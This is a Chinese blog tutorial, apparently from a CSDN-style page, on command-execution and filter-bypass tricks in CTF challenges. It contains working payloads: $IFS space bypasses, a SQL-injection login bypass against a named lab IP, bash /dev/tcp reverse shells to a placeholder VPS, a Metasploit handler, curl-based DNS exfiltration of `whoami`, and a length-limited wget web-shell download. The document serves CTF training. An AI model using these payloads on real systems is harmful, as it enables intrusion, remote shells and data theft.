浅谈CTF中命令执行与绕过的小技巧


空格绕过

< 符号

浅谈CTF中命令执行与绕过的小技巧

%09 符号需要php环境,这里就不搭建啦,见谅)

$IFS$9 符号${IFS} 符号

浅谈CTF中命令执行与绕过的小技巧

这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令分隔符这里介绍5种姿势

%0a符号
换行符
%0d符号
回车符
;符号
在 shell 中,担任”连续指令”功能的符号就是”分号”
&符号

浅谈CTF中命令执行与绕过的小技巧

& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID
|符号

浅谈CTF中命令执行与绕过的小技巧

管道符左边命令的输出就会作为管道符右边命令的输入,所以左边的输出并不显示

命令终止符

  1. %00
  2. %20 #

(需要php环境,这里就不搭建啦,见谅)

黑名单绕过

a=l;b=s;$a$b

浅谈CTF中命令执行与绕过的小技巧

base64编码

代码6

无回显的命令执行

这里先给一个bugku平台的靶机地址:http://47.93.190.246:49165/

这里第一步先用

  1. username=0' union select 1, md5( 1)#
  2. password= 1

绕过,就可以到命令执行界面然而尝试一下发现没有回显这里有3种方法

第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行

先在vps处用nc进行监听

nc -l -p 8080 -vvv

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

浅谈CTF中命令执行与绕过的小技巧浅谈CTF中命令执行与绕过的小技巧

第二种是msf反向回连

同样vps用msf监听

  1. vps的msf监听:
  2. use exploit/multi/ handler
  3. set payload linux/armle/shell/reverse_tcp
  4. set lport 8080
  5. set lhost xxx.xxx.xxx.xxx
  6. set exitonsession false
  7. exploit -j

然后在靶机命令执行处输入

|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1

即可getflag

第三种是利用DNS管道解析

这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用

|curl `whoami`.xxxx.xxx(子域名)

这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ

七个字的命令执行

这题是p总在小密圈发表的一篇文章,当时没有做出来,这题是利用重命名文件绕过的,所以可以这样进行调用,因为限制了命令的长度,所以无法直接构造,只能通过文件构造

这里先介绍一下小技巧,linux下创建文件的命令可以用1>1创建文件名为1的空文件

浅谈CTF中命令执行与绕过的小技巧

进一步fuzz发现a>1居然也可以,虽然会报错,但是还是可以创建空文件。

浅谈CTF中命令执行与绕过的小技巧

ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n。有了这个基础,我们再来看这道题

  1. <?php
  2. if (strlen($_GET[ 1 ])< 8 ){
  3. echo shell_exec($_GET[ 1 ]);
  4. }
  5. ?>

简单的代码,可以利用

  1. 1> wget\
  2. 1>域名.\
  3. 1> com\
  4. 1> -O\
  5. 1> she\
  6. 1> ll .p\
  7. 1> p
  8. ls> a
  9. sh a

这里注意.不能作为文件名的开头,因为linux下.是隐藏文件的开头,ls列不出来

然而这里还有个问题,就是ls下的文件名是按照字母顺序排序的,所以需要基于时间排序

ls -t>a

网络地址转化为数字地址

网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433

可以直接访问

http://2130706433

或者

http://0x7F000001

这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

GCTF RCE

这题过滤了很多东西,下面说一下比较重要的

||&|;|%{}| |''|.|

这里给个payload

  1. %0acat%09
  2. %0Acat$IFS$9
  3. %0acat<

用%0a绕过curl然后在从我前面绕过空格的payload中随便挑一个没有过滤的

最后总结一下,做命令执行的题首要的是寻找命令执行的点,然后去猜测他的后台语句是如何构造的,过滤了哪些,还剩哪些可以用,这样一个一个排除,最后大都能找出payload

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值